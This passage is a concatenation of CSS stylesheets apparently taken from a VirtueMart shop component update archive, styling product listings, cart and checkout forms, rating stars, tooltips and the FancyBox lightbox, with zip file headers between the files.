1px;margin-bottom:8px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;padding:12px;} .list-reviews .normal blockquote,.list-reviews .highlight blockquote{margin-top:12px;font-size:12px;word-wrap:break-word;} .list-reviews .normal blockquote:before,.list-reviews .highlight blockquote:before{content:open-quote;font-weight:700;font-size:24px;padding-right:6px;} .list-reviews .normal blockquote:after,.list-reviews .highlight blockquote:after{content:close-quote;font-weight:700;font-size:24px;padding-left:6px;} .list-reviews .highlight{background:#f7f6f6;border:solid #CAC9C9 1px;margin-bottom:8px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;padding:12px;} .list-reviews span.date{float:right;display:block;color:#777;border-left:solid #CAC9C9 1px;border-bottom:solid #CAC9C9 1px;position:relative;top:-12px;right:-12px;font-size:10px;-moz-border-radius-bottomleft:4px;-webkit-border-bottom-left-radius:4px;padding:4px 6px 2px;} span.variant-dropdown{width:150px;float:left;display:block;margin-bottom:5px;} span.variant-dropdown select{width:150px;} span.custom-variant-inputbox{width:152px;float:left;display:block;margin-bottom:5px;} input.custom-attribute{width:140px;} span.quantity-box{float:left;width:27px;padding-top:5px;} input.quantity-input{height:19px;width:25px;text-align:center;font-weight:700;padding:2px;} span.quantity-controls{width:15px;float:left;padding-top:2px;margin:0 0 0 10px;} span.quantity-controls input.quantity-controls{height:14px;border:none;width:15px;color:transparent} span.quantity-controls input.quantity-plus{background:url(../images/vmgeneral/quantity-controls.png) repeat-x;margin-bottom:2px;} span.quantity-controls input.quantity-minus{background:url(../images/vmgeneral/quantity-controls.png) repeat-x;background-position:15px 0;} .addtocart-bar{margin:0;padding:0;} span.addtocart-button{width:152px;float:left;margin:0 0 0 10px;} span.cart-images img { float: left; margin: 0; width: 45px; } span.addtocart-button input.addtocart-button,span.addtocart-button input.notify-button{width:152px;background:#e8e8e8 url(../images/vmgeneral/backgrounds.png) top repeat-x;background-position:0 -160px;color:#fff;border:solid #00a000 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;font-size:14px;cursor:pointer;height:34px;text-align:center;letter-spacing:1px;padding:4px 5px;} span.addtocart-button input.addtocart-button-disabled {width:auto;background:#f2f2f2 top repeat-x;border:solid #333 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;font-size:14px;cursor:pointer;height:34px;text-align:center;letter-spacing:1px;padding:4px 5px;color:#333;margin:10px 0px 0px 0px;} .category-view h4{font-size:14px;margin:0;padding:0;} .category-view .row .category .spacer h2{margin:0;padding:0;} .category-view .row .category .spacer h2 a{font-size:14px;display:block;text-align:center;} .category-view .row .category .spacer h2 a img{margin-top:6px;max-width:100%;height:auto;} .featured-view h4,.latest-view h4,.topten-view h4,.recent-view h4,.related-products-view h4{font-size:14px;margin:0 0 8px;padding:0;} .browse-view h1{font-size:16px;margin:0 0 8px;padding:0;} .orderby-displaynumber{border-bottom:solid #E9E8E8 1px;border-top:solid #E9E8E8 1px;margin:10px 0;padding:10px 0;} .orderlistcontainer{font-size:12px;display:inline-block;text-decoration:none;margin:0 15px 0 0;} .orderlistcontainer div.activeOrder{background:#FFF top right no-repeat url(../images/vmgeneral/arrow_down.png);cursor:pointer;border:solid #CAC9C9 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;font-size:12px;padding:2px 24px 1px 12px;} .orderlistcontainer a{text-decoration:none;display:block;} .orderlistcontainer a :hover{text-decoration:none;display:block;color:#EEE;background:#777;} .orderlistcontainer div.orderlist{display:none;position:absolute;border:solid #CAC9C9 1px;background:#FFF;cursor:pointer;z-index: 1;} .orderlistcontainer div.orderlist div{padding:2px 12px 1px;} .orderlistcontainer div.orderlist div:hover{color:#EEE;background:#CAC9C9;} .ask-a-question-view .product-summary{border-bottom:solid #CAC9C9 1px;margin:25px 0 0;padding:0 0 10px;} .ask-a-question-view .product-summary h2{font-size:16px;margin:0;padding:0;} .ask-a-question-view .product-summary .short-description{margin-top:6px;} .ask-a-question-view .product-summary img.product-image{max-width:100%;max-height:100%;width:auto;height:auto;} .ask-a-question-view .form-field textarea.field{width:394px;background:#fff url(../images/vmgeneral/default_bg.jpg) bottom repeat-x;border:solid #CAC9C9 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;color:#777;text-align:left;padding:12px;} .ask-a-question-view .form-field textarea.field:hover{background:#fff url(../images/vmgeneral/default_hover_bg.jpg) top repeat-x;color:#000;} .ask-a-question-view .form-field .submit{width:418px;} .ask-a-question-view input.counter,.ask-a-question-view input#name,.ask-a-question-view input#email{background:#e8e8e8 url(../images/vmgeneral/backgrounds.png) top repeat-x;border:solid #ccc 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;color:#777;display:inline-block;margin:0 0 0 10px;padding:5px 5px 4px;} .ask-a-question-view table.askform, .ask-a-question-view table.askform tr, .ask-a-question-view table.askform td {border:0;} .ask-a-question-view table.askform td {padding: 5px 0;} .ask-a-question-view #recaptcha_area {margin-bottom: 20px;} .vmquote{font-size:smaller;} .manufacturer-details-view img{float:right;margin:0 0 10px 20px;} .manufacturer-details-view .email-weblink a{margin-right:15px;} a.ask-a-question{font-size:12px;font-weight:700;display:inline-block;text-decoration:none;margin-bottom:8px;padding:3px 12px 1px;} a.ask-a-question:hover{color:#777;text-decoration:none;} input.vm-default{margin-bottom:2px;} input.highlight-button{background:#e8e8e8 url(../images/vmgeneral/backgrounds.png) top repeat-x;background-position:0 -160px;color:#fff;border:1px solid #00a000;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;font-size:12px;cursor:pointer;text-align:center;letter-spacing:1px;display:inline-block;text-decoration:none;padding:4px 8px 2px;} input.highlight-button:visited{color:#fff;} a.product-details,a.details,div.details{background-position:0 0;display:inline-block;padding:3px 8px 1px;} a.details:hover,div.details:hover,a.product-details:hover{background-position:0 -40px;color:#777;} span.details-button{ margin:0 0 0 10px;} span.details-button input.details-button { background: url("../images/vmgeneral/backgrounds.png") repeat-x scroll center top #E8E8E8;color:#135CAE;border:1px solid #CAC9C9 ;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;cursor:pointer; text-align:center;padding:3px 8px 1px;} .coupon{color: gray; border-radius:4px; border:1px solid #CAC9C9 ; font-size: 9px;padding: 3px;} button.default{display:inline-block;cursor:pointer;padding:5px 8px 4px;} button.default:hover{color:#777;} a.highlight,a.highlight:visited{background:#e8e8e8 url(../images/vmgeneral/backgrounds.png) top repeat-x;border:solid #00a000 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;font-size:12px;display:inline-block;text-decoration:none;background-position:0 -160px;color:#fff;padding:3px 8px 1px;} textarea.virtuemart{background:#fff;border:solid #ccc 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;color:#777;text-align:left;padding:5px 5px 4px;} p.product_s_desc{margin-bottom:6px;padding:0;} span.stock-level{font-size:10px;color:#7d7b7b;} .horizontal-separator{height:1px;background:#e9e8e8;margin:10px 0;} .invalid{background-color:#ffd;color:#000;border-color:red;} .page-results{margin-top:25px;text-align:right;} .control-buttons button.default{margin-left:8px;} table.user-details .vm-chzn-select{background:#e8e8e8 url(../images/vmgeneral/backgrounds.png) top repeat-x;border:solid #ccc 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;color:#777;margin-bottom:2px;padding:5px 5px 4px; width:210px} table.user-details input{background:#e8e8e8 url(../images/vmgeneral/backgrounds.png) top repeat-x;border:solid #ccc 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;color:#777;margin-bottom:2px;padding:5px 5px 4px; width:200px} table.user-details input.invalid{background:#e8e8e8 url(../images/vmgeneral/backgrounds.png) top repeat-x;border:solid red 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;color:#777;margin-bottom:2px;padding:5px 5px 4px;} table.user-details{width: 450px;margin-bottom:10px;} table.user-details input[type="checkbox"] , table.user-details input[type="radio"] {width:20px} td.key{padding:0 6px; width: 150px;} .cart-view h1{font-size:20px;margin:0;padding:0 0 10px;} .cart-view h2{font-size:12px;margin:0;padding:0;} .checkout-button-top{text-align:right;border-top:solid #E9E8E8 1px;padding:10px 0 0;} .checkout-button-top input.terms-of-service{margin-right:10px;display:inline-block;} span.tos{display:inline-block;margin-right:15px;} .billto-shipto{border-top:solid #E9E8E8 1px;border-bottom:solid #E9E8E8 1px;margin:10px 0 0;padding:10px 0 25px;} .billto-shipto span,a.terms-of-service{display:inline-block;font-size:14px;} #full-tos {display: none;} .output-billto span.titles,.output-shipto span.titles{width:150px;float:left;} .output-billto span.values-first_name,.output-billto span.values-middle_name,.output-billto span.values-zip,.output-shipto span.values-first_name,.output-shipto span.values-middle_name,.output-shipto span.values-zip{float:left;margin-right:3px;} table.cart-summary tr th{background:#e8e8e8 url(../images/vmgeneral/backgrounds.png) top repeat-x;border-bottom:solid #E9E8E8 1px;padding:6px 0 3px;} .customer-comment{text-align:center;border-top:solid #E9E8E8 1px;margin:10px 0 0;padding:10px 0 0;} textarea.customer-comment{background:#fff;border:solid #ccc 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;color:#777;margin-bottom:2px;text-align:left;padding:5px 5px 4px;} div.terms-of-service{ margin:10px 0 0;padding:10px 0 15px; display : inline;} .terms-of-service h5{background:#7C1E21;color:rgba(255, 255, 255, 0.9);font-size:14px;text-align:center;border-radius:6px;-moz-border-radius:6px;-webkit-border-radius:6px;font-weight:400;margin:0;padding:15px;} .terms-of-service h5 a,.terms-of-service h5 a:visited{color:#fff;text-transform:uppercase;} .vm-button-correct,.vm-button-correct:hover,.vm-button-correct:visited{font-size:12px;font-weight:700;display:inline-block;text-decoration:none;color:#777;} .vm-button-correct,.vm-button-correct:link,.vm-button-correct:visited{background:#e8e8e8 url(../images/vmgeneral/backgrounds.png) top repeat-x;background-position:0 -160px;color:#fff;border:solid #00a000 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;font-size:12px;cursor:pointer;text-align:center;letter-spacing:1px;display:inline-block;text-decoration:none;padding:6px 12px 3px;} .vm-button-correct:hover{background-position:0 -200px;color:#f2f2f2;text-decoration:none;} .VmArrowdown{background:top right no-repeat url(../images/vmgeneral/arrow_down.png);cursor:pointer;float:right;width:16px;height:16px;padding:0 12px;} ul.VMmenu,.VMmenu ul,.VMmenu li{list-style-type:none!important;background-image:none!important;padding:2px;} #ui-tabs ul#tabs{list-style-type:none;overflow:hidden;margin:0;padding:20px 20px 0;} #ui-tabs ul#tabs li{display:inline-block;cursor:pointer;background:#f2f2f2;padding:10px 20px 7px;} #ui-tabs ul#tabs li.current{display:inline-block;background:#ccc;color:#444;} #ui-tabs .tabs{padding:20px;} #ui-tabs .dyn-tabs{overflow:auto;display:none;} .clear,br.clear{clear:both;} .floatright,span.floatright{float:right;} .floatleft,span.floatleft{float:left;} span.bold,div.bold{font-weight:700;} .width1{width:1%;}.width2{width:2%;}.width3{width:3%;}.width4{width:4%;}.width5{width:5%;}.width6{width:6%;}.width7{width:7%;}.width8{width:8%;}.width9{width:9%;}.width10{width:10%;}.width11{width:11%;}.width12{width:12%;}.width13{width:13%;}.width14{width:14%;}.width15{width:15%;}.width16{width:16%;}.width17{width:17%;}.width18{width:18%;}.width19{width:19%;}.width20{width:20%;}.width21{width:21%;}.width22{width:22%;}.width23{width:23%;}.width24{width:24%;}.width25{width:25%;}.width26{width:26%;}.width27{width:27%;}.width28{width:28%;}.width29{width:29%;}.width30{width:30%;}.width31{width:31%;}.width32{width:32%;}.width33{width:33%;}.width34{width:34%;}.width35{width:35%;}.width36{width:36%;}.width37{width:37%;}.width38{width:38%;}.width39{width:39%;}.width40{width:40%;}.width41{width:41%;}.width42{width:42%;}.width43{width:43%;}.width44{width:44%;}.width45{width:45%;}.width46{width:46%;}.width47{width:47%;}.width48{width:48%;}.width49{width:49%;}.width50{width:50%;}.width51{width:51%;}.width52{width:52%;}.width53{width:53%;}.width54{width:54%;}.width55{width:55%;}.width56{width:56%;}.width57{width:57%;}.width58{width:58%;}.width59{width:59%;}.width60{width:60%;}.width61{width:61%;}.width62{width:62%;}.width63{width:63%;}.width64{width:64%;}.width65{width:65%;}.width66{width:66%;}.width67{width:67%;}.width68{width:68%;}.width69{width:69%;}.width70{width:70%;}.width71{width:71%;}.width72{width:72%;}.width73{width:73%;}.width74{width:74%;}.width75{width:75%;}.width76{width:76%;}.width77{width:77%;}.width78{width:78%;}.width79{width:79%;}.width81{width:81%;}.width82{width:82%;}.width83{width:83%;}.width84{width:84%;}.width85{width:85%;}.width86{width:86%;}.width87{width:87%;}.width88{width:88%;}.width89{width:89%;}.width90{width:90%;}.width91{width:91%;}.width92{width:92%;}.width93{width:93%;}.width94{width:94%;}.width95{width:95%;}.width96{width:96%;}.width97{width:97%;}.width98{width:98%;}.width99{width:99%;}.width100{width:100%;} .vmicon, .vmiconFE{background:url(../images/vm2-sprite.png) no-repeat top left;} .vm2-add_quantity_cart{background-position:0 0;width:24px;height:24px;border: 0px;cursor:pointer;} .vm2-arrow_down{background-position:0 -72px;width:16px;height:16px;} .vm2-billto-icon{background-position:0 -138px;height:24px;margin-right:6px;vertical-align:middle;width:24px;border :0px;} .vm2-remove_from_cart{ background-position: 0 -212px; border: 0 none; cursor: pointer; display: inline-block; height: 24px; vertical-align: bottom; width: 24px;} .vm2-shipto-icon{background-position:0 -284px;height:24px;margin-right:6px;vertical-align:middle;width:24px;} .vm2-stars0{background-position:0 -358px;width:64px;height:13px;} .vm2-stars1{background-position:0 -421px;width:64px;height:13px;} .vm2-stars2{background-position:0 -484px;width:64px;height:13px;} .vm2-stars3{background-position:0 -547px;width:64px;height:13px;} .vm2-stars4{background-position:0 -610px;width:64px;height:13px;} .vm2-stars5{background-position:0 -673px;width:64px;height:13px;} .vm2-stars_0{background-position:0 -736px;width:64px;height:13px;} .vm2-stars_1{background-position:0 -799px;width:64px;height:13px;} .vm2-stars_2{background-position:0 -862px;width:64px;height:13px;} .vm2-stars_3{background-position:0 -925px;width:64px;height:13px;} .vm2-stars_4{background-position:0 -988px;width:64px;height:13px;} .vm2-stars_5{background-position:0 -1051px;width:64px;height:13px;} .vm2-lowstock{background-position:0 -1114px;width:62px;height:15px;display:block;} .vm2-nostock{background-position:0 -1179px;width:62px;height:15px;display:block;} .vm2-normalstock{background-position:0 -1244px;width:62px;height:15px;display:block;} .vm2-termsofservice-icon{background-position:0 -1309px;height:24px;margin-right:6px;vertical-align:middle;width:24px;display:inline-block;} .vm2-modallink{height:16px;margin-left: 3px;vertical-align:top;width:16px;display:inline-block; background: url("../images/icon_external_link.gif") no-repeat scroll left top transparent;} .vm2-warning{background-position:0 -1383px;width:50px;height:40px;} .vendor-store-desc,.category-view,.featured-view,.latest-view,.topten-view,.recent-view,.related-products-view,.browse-view,.order-view{margin-bottom:25px;} .main-image,.featured-view .product,.latest-view .product,.topten-view .product,.recent-view .product,.related-products-view .product,.center,span.center{text-align:center;} /* .main-image img {max-width:100%;height:auto}*/ .main-image img {max-width:100%;max-height:260px} .main-image img.product-image,.featured-view .spacer img,.latest-view .spacer img,.topten-view .spacer img,.recent-view .spacer img{max-width:100%;height:auto;width:auto;} .additional-images,.featured-view .product-price,.latest-view .product-price,.topten-view .product-price,.recent-view .product-price,.output-billto,.output-shipto{margin:10px 0;} .ask-a-question,.manufacturer,.manufacturer-details-view .email-weblink,.manufacturer-details-view .description{margin:10px 0 0;} .customer-reviews,.ask-a-question-view .form-field{margin:25px 0 0;} span.variant-name,span.custom-variant-name{width:100px;float:left;display:block;margin-bottom:5px;} span.addtocart-button input.addtocart-button:hover,span.addtocart-button input.notify-button:hover,input.highlight-button:hover,a.highlight:hover{background-position:0 -200px;color:#f2f2f2;} .category-view .row .category .spacer,.featured-view .spacer,.latest-view .spacer,.topten-view .spacer,.recent-view .spacer,.related-products-view .spacer,.browse-view .row .product .spacer{padding:6px;} .featured-view .spacer h3,.latest-view .spacer h3,.topten-view .spacer h3,.recent-view .spacer h3,.related-products-view .spacer h3,.browse-view .row .product .spacer h2{font-size:14px;margin:0 0 6px;padding:0;} .featured-view .spacer span,.latest-view .spacer span,.topten-view .spacer span,.recent-view .spacer span,.related-products-view .spacer span,.browse-view .row .product .spacer span{font-size:0.85em;color:#666;} .browse-view .row .product .spacer img,.related-products-view .row .product .spacer img{max-width:90%;height:auto;} .display-number,.control-buttons,.right{text-align:right !important;} .ask-a-question-view,.manufacturer-details-view .spacer{padding:20px;} .ask-a-question-view h1,.manufacturer-details-view h1{font-size:18px;margin:0;padding:0;} #userForm select,.width80{width:80%;} textarea.virtuemart:hover,textarea.customer-comment:hover{color:#000;background:#e8e8e8;} label.invalid,span.red{color:red;} .output-billto span.values,.output-shipto span.values,.floatleft,span.floatleft{float:left;} .output-billto span.values,.output-shipto span.values {padding-right:5px;} .joomlaCoreField {background-color: #FFFFDD;} .vm-pagination div{text-align:center !important;} .vm-pagination ul{text-align:center !important;} .vm-pagination ul li{display: inline;} .vm-pagination .counter{text-align: right !important;} .vm-bottom div{text-align:center !important;} .vm-bottom ul{text-align:center !important;} .vm-bottom ul li{display: inline;} .vm-bottom .counter{text-align: right !important;} td.orders-key{font-weight: bold; text-align: left; } /* Manufacturer View Default */ .manufacturer-view-default .row .manufacturer .spacer {padding: 6px;} .product-field-display a img{display: block;} .product-related-products, .product-related-categories{border-top:solid #ccc 1px;padding-bottom: 10px;} .product-fields .product-field-type-P{clear: both; border-bottom: 1px solid #EEEEEE; margin-top: 18px;} .product-field-type-P .product-fields-title{ font-size: 120%;} .product-field-type-B,.product-field-type-S,.product-field-type-I{padding-left:3%;float:left;width:30%} .product-fields-title{ font-weight: bold;} .vm-customfield-mod img,.vm-customfield-cart img{ vertical-align: middle; width: 16px;} .vm-img-desc{display:block;} a:hover .vm-img-desc{background: #095197} .vmpayment_name, .vmpayment_cost, .vmshipment_name, .vmshipment_cost{padding:0 2px;} .vmpayment_description,.vmshipment_description {color:gray;font-size:9px;padding:0 2px;} .vmpayment_cardinfo {color:gray;font-size:9px;} .virtuemart_search .inputbox{height:16px;vertical-align :middle} /* Custom Field Images */ .product-fields .product-field,.product-related-categories .product-field {width:100%;float:left;display:inline-block;} .product-fields .product-field label.other-customfield {width:25%;float:left;position:relative;top:20px;left:-18px;margin-bottom:27px;text-align:center;} /* For 4 images across use width:17% */ .product-fields .product-field input[type=radio] {position:relative;left:33px;} .product-fields .product-field .vm-img-desc {font-size:9px;} /* some more styles */ .priceColor2{color:gray;} .line-through{text-decoration:line-through} .inline{display: inline;} td.pricePad{padding-right: 10px;} td.priceCol{white-space:nowrap;} div.spaceStyle{padding: 0px; margin: 5px; spacing: 0px;} .vm-notice{color: #CC0000;} .buttonBar-right{text-align: right; width: 100%;} .userfields_info{font-weight: bold;display: block;margin: 0px 0px 8px 0px;} .ratingbox { position:relative; display:block; width:120px; height:24px; background:url("../images/color-stars.png") repeat-x scroll 0 bottom transparent; } .ratingbox span { background:url(../images/color-stars.png) repeat-x; display:block; width:1%; height:24px; position:absolute; } .vote { display: block; margin-bottom: 4px; } .category-ratingbox { position:relative; display:block; width:60px; height:12px; background:url("../images/color-stars-small.png") repeat-x scroll 0 bottom transparent; } .category-ratingbox span { background:url(../images/color-stars-small.png) repeat-x; display:block; width:1%; height:12px; position:absolute; } .stars-orange{background-position:0 0 !important;} .stars-red{background-position:0 -54px !important;} .stars-green{background-position:0 -108px !important; } .stars-blue{background-position:0 -162px !important;} .stars-purple{background-position:0 -216px !important;} PKtl>\{0Icom_virtuemart_update/components/com_virtuemart/assets/css/vmsite-rtl.cssnuW+A/** * Main CSS file for the "default (right to left)" theme for VirtueMart * @copyright 2006-2008 soeren * @license GNU/GPL * */PKtl>\킍Xcom_virtuemart_update/components/com_virtuemart/assets/css/validationEngine.template.cssnuW+A/* body { background: #ececec; } */ form.formular { font-family: tahoma, verdana, "sans-serif"; font-size: 12px; padding: 20px; border: 1px solid #A5A8B8; width: 300px; margin: 0 auto; } .formular fieldset { margin-top: 20px; padding: 15px; border: 1px solid #B5B8C8; } .formular legend { font-size: 12px; color: #15428B; font-weight: 900; } .formular fieldset label { float: none; text-align: inherit; width: auto; } .formular label span { color: #000; } .formular input,.formular select,.formular textarea { display: block; margin-bottom: 5px; } .formular .text-input { width: 250px; color: #555; padding: 4px; border: 1px solid #B5B8C8; font-size: 14px; margin-top: 4px; background: #FFF repeat-x; } .formular textarea { width: 250px; height: 70px; color: #555; padding: 4px; border: 1px solid #B5B8C8; font-size: 14px; margin-top: 4px; background: #FFF repeat-x; } .formular .infos { background: #FFF; color: #333; font-size: 12px; padding: 10px; margin-bottom: 10px; } .formular span.checkbox,.formular .checkbox { display: inline; } .formular .submit { border: 1px solid #AAA; padding: 4px; margin-top: 20px; float: right; text-decoration: none; cursor: pointer; } .formular hr { clear: both; visibility: hidden; } .formular .fc-error { width: 350px; color: 555; padding: 4px; border: 1px solid #B5B8C8; font-size: 12px; margin-bottom: 15px; background: #FFEAEA; }PKtl>\L Ccom_virtuemart_update/components/com_virtuemart/assets/css/vtip.cssnuW+Ap#vtip { display: none; position: absolute; padding: 10px; left: 5px; font-size: 1.1em; background-color: #fefefe; border: 1px solid #a6c9e2; -moz-border-radius: 5px; -webkit-border-radius: 5px; z-index: 9999 } p#vtip #vtipArrow { position: absolute; top: -10px; left: 15px }PKtl>\E  Ecom_virtuemart_update/components/com_virtuemart/assets/css/tipTip.cssnuW+A/* TipTip CSS - Version 1.2 */ #tiptip_holder { display: none; position: absolute; top: 0; left: 0; z-index: 99999; } #tiptip_holder.tip_top { padding-bottom: 5px; } #tiptip_holder.tip_bottom { padding-top: 5px; } #tiptip_holder.tip_right { padding-left: 5px; } #tiptip_holder.tip_left { padding-right: 5px; } #tiptip_content,#tiptip_title { font-size: 11px; color: #fff; text-shadow: 0 0 2px #000; padding: 4px 8px; border: 1px solid rgba(255,255,255,0.25); background-color: rgb(98,98,98); background-color: background-color: rgba(98,98,98,0.88); background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(transparent), to(#000)); border-radius: 3px; -webkit-border-radius: 3px; -moz-border-radius: 3px; box-shadow: 0 0 3px #555; -webkit-box-shadow: 0 0 3px #555; -moz-box-shadow: 0 0 3px #555; } #tiptip_arrow, #tiptip_arrow_inner { position: absolute; border-color: transparent; border-style: solid; border-width: 6px; height: 0; width: 0; } #tiptip_holder.tip_top #tiptip_arrow { border-top-color: #fff; border-top-color: rgba(255,255,255,0.35); } #tiptip_holder.tip_bottom #tiptip_arrow { border-bottom-color: #fff; border-bottom-color: rgba(255,255,255,0.35); } #tiptip_holder.tip_right #tiptip_arrow { border-right-color: #fff; border-right-color: rgba(255,255,255,0.35); } #tiptip_holder.tip_left #tiptip_arrow { border-left-color: #fff; border-left-color: rgba(255,255,255,0.35); } #tiptip_holder.tip_top #tiptip_arrow_inner { margin-top: -7px; margin-left: -6px; border-top-color: rgb(25,25,25); border-top-color: rgba(25,25,25,0.92); } #tiptip_holder.tip_bottom #tiptip_arrow_inner { margin-top: -5px; margin-left: -6px; border-bottom-color: rgb(25,25,25); border-bottom-color: rgba(25,25,25,0.92); } #tiptip_holder.tip_right #tiptip_arrow_inner { margin-top: -6px; margin-left: -5px; border-right-color: rgb(25,25,25); border-right-color: rgba(25,25,25,0.92); } #tiptip_holder.tip_left #tiptip_arrow_inner { margin-top: -6px; margin-left: -7px; border-left-color: rgb(25,25,25); border-left-color: rgba(25,25,25,0.92); } /* Webkit Hacks */ @media screen and (-webkit-min-device-pixel-ratio:0) { #tiptip_content,#tiptip_title { padding: 4px 8px 5px 8px; background-color: rgba(98,98,98,0.88); } #tiptip_holder.tip_bottom #tiptip_arrow_inner { background-color: rgba(98,98,98,0.88); } #tiptip_holder.tip_top #tiptip_arrow_inner { border-top-color: rgba(20,20,20,0.92); } } #tiptip_title {font-weight:bold;font-size:12px;background-color: rgba(45,45,45,0.88);}PKtl>\$$Tcom_virtuemart_update/components/com_virtuemart/assets/css/jquery.fancybox-1.3.4.cssnuW+A/* * FancyBox - jQuery Plugin * Simple and fancy lightbox alternative * * Examples and documentation at: http://fancybox.net * * Copyright (c) 2008 - 2010 Janis Skarnelis * That said, it is hardly a one-person project. Many people have submitted bugs, code, and offered their advice freely. Their support is greatly appreciated. * * Version: 1.3.4 (11/11/2010) * Requires: jQuery v1.3+ * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ #fancybox-loading { position: fixed; top: 50%; left: 50%; width: 40px; height: 40px; margin-top: -20px; margin-left: -20px; cursor: pointer; overflow: hidden !important; z-index: 1104; display: none; } #fancybox-loading div { position: absolute; top: 0; left: 0; width: 40px; height: 480px; background-image: url('../images/fancybox/fancybox.png'); } #fancybox-overlay { position: absolute; top: 0; left: 0; width: 100%; z-index: 1100; display: none; } #fancybox-tmp { padding: 0; margin: 0; border: 0; overflow: auto; display: none; } #fancybox-wrap { position: absolute; top: 0; left: 0; padding: 20px; z-index: 1101; outline: none; display: none; } #fancybox-outer { position: relative; width: 100%; height: 100%; background: #fff; } #fancybox-content { width: 0; height: 0; padding: 0; outline: none; position: relative; overflow: hidden; z-index: 1102; border: 0px solid #fff; } #fancybox-hide-sel-frame { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: transparent; z-index: 1101; } #fancybox-close { position: absolute; top: -15px; right: -15px; width: 30px; height: 30px; background: transparent url('../images/fancybox/fancybox.png') -40px 0px; cursor: pointer; z-index: 1103; display: none; } #fancybox-error { color: #444; font: normal 12px/20px Arial; padding: 14px; margin: 0; } #fancybox-img { width: 100%; height: 100%; padding: 0; margin: 0; border: none; outline: none; line-height: 0; vertical-align: top; } #fancybox-frame { width: 100%; height: 100%; border: none; display: block; } #fancybox-left, #fancybox-right { position: absolute; bottom: 0px; height: 100%; width: 35%; cursor: pointer; outline: none; background: transparent url('../images/fancybox/blank.gif') ; z-index: 1102; display: none; } #fancybox-left { left: 0px; } #fancybox-right { right: 0px; } #fancybox-left-ico, #fancybox-right-ico { position: absolute; top: 50%; left: -9999px; width: 30px; height: 30px; margin-top: -15px; cursor: pointer; z-index: 1102; display: block; } #fancybox-left-ico { background-image: url('../images/fancybox/fancybox.png'); background-position: -40px -30px; } #fancybox-right-ico { background-image: url('../images/fancybox/fancybox.png'); background-position: -40px -60px; } #fancybox-left:hover, #fancybox-right:hover { visibility: visible; /* IE6 */ } #fancybox-left:hover span { left: 20px; } #fancybox-right:hover span { left: auto; right: 20px; } .fancybox-bg { position: absolute; padding: 0; margin: 0; border: 0; width: 20px; height: 20px; z-index: 1001; } #fancybox-bg-n { top: -20px; left: 0; width: 100%; background-image: url('../images/fancybox/fancybox-x.png'); } #fancybox-bg-ne { top: -20px; right: -20px; background-image: url('../images/fancybox/fancybox.png'); background-position: -40px -162px; } #fancybox-bg-e { top: 0; right: -20px; height: 100%; background-image: url('../images/fancybox/fancybox-y.png'); background-position: -20px 0px; } #fancybox-bg-se { bottom: -20px; right: -20px; background-image: url('../images/fancybox/fancybox.png'); background-position: -40px -182px; } #fancybox-bg-s { bottom: -20px; left: 0; width: 100%; background-image: url('../images/fancybox/fancybox-x.png'); background-position: 0px -20px; } #fancybox-bg-sw { bottom: -20px; left: -20px; background-image: url('../images/fancybox/fancybox.png'); background-position: -40px -142px; } #fancybox-bg-w { top: 0; left: -20px; height: 100%; background-image: url('../images/fancybox/fancybox-y.png'); } #fancybox-bg-nw { top: -20px; left: -20px; background-image: url('../images/fancybox/fancybox.png'); background-position: -40px -122px; } #fancybox-title { font-family: Helvetica; /*font-size: 12px;*/ z-index: 1102; } .fancybox-title-inside { padding-bottom: 10px; text-align: center; color: #333; background: #fff; position: relative; } .fancybox-title-outside { padding-top: 10px; color: #fff; } .fancybox-title-over { position: absolute; bottom: 0; left: 0; color: #FFF; text-align: left; } #fancybox-title-over { padding: 10px; background-image: url('../images/fancybox/fancy_title_over.png'); display: block; } .fancybox-title-float { position: absolute; left: 0; bottom: -20px; height: 32px; } #fancybox-title-float-wrap { border: none; border-collapse: collapse; width: auto; } #fancybox-title-float-wrap td { border: none; white-space: nowrap; } #fancybox-title-float-left { padding: 0 0 0 15px; background: url('../images/fancybox/fancybox.png') -40px -90px no-repeat; } #fancybox-title-float-main { color: #FFF; line-height: 29px; font-weight: bold; padding: 0 0 3px 0; background: url('../images/fancybox/fancybox-x.png') 0px -40px; } #fancybox-title-float-right { padding: 0 0 0 15px; background: url('../images/fancybox/fancybox.png') -55px -90px no-repeat; } /* IE6 */ .fancybox-ie6 #fancybox-close { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_close.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-left-ico { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_nav_left.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-right-ico { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_nav_right.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-title-over { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_title_over.png', sizingMethod='scale'); zoom: 1; } .fancybox-ie6 #fancybox-title-float-left { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_title_left.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-title-float-main { background: transparent; filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../images/fancybox/fancy_title_main.png', sizingMethod='scale'); } .fancybox-ie6 #fancybox-title-float-right { background: transparent; filter: 